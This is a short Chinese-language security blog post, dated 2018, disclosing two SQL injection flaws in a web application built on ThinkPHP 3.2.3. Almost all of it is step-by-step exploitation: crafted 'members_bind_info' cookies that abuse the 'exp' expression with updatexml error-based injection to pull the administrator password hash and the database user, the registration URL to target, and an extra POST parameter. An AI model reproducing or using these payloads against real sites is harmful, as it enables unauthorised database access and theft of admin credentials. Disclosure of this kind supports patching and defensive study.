thinkphp3.2.3注入漏洞

这个漏洞是基于thinkphp3.2.3开发引起的。
漏洞一
由于oauth_reg方法中调用了login来验证当前会员是否登陆,所以咱们需要注册一个会员帐户再利用该漏洞,这里玩注册用户名和密码均为test123的帐户,然后构造如下cookie:

members_bind_info[keyid][0]=exp; 
members_bind_info[keyid][1]==1 or updatexml(0,concat(0xa,(SELECT password FROM xx_admin limit 1)),0)%23
members_bind_info[type]=qq; 

前面已经分析过了exp表达式的特性是数组第一个元素为exp,这样后面就可以带任意sql语句来达到数据查询的目的。
post数据包带上注册的账号与密码

漏洞二
这里无需注册任何用户,直接访问注册页面:

index.php?m=&c=members&a=register&utype=2

填写好相关信息后点击注册开始抓包,然后一步一步的Forward放行数据包直到出现极验的验证窗口,验证完毕后再次抓包:

构造如下cookie:

members_bind_info[type]=qq; members_bind_info[keyid][0]=exp; members_bind_info[keyid][1]=1 or updatexml(1,concat(0x5e5e5e,user()),0)

添加到现有的cookie后面就ok,再将post数据包中添加”org=bind”这样一个参数与值,然后发包可以看到注入成功:

本文固定链接: https://www.unhonker.com/bug/2035.html | 90' s Blog|关注信息安全

该日志由 unhonker 于2018年03月05日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: thinkphp3.2.3注入漏洞 | 90' s Blog|关注信息安全
关键字:

thinkphp3.2.3注入漏洞:等您坐沙发呢!

发表评论

您必须 [ 登录 ] 才能发表留言!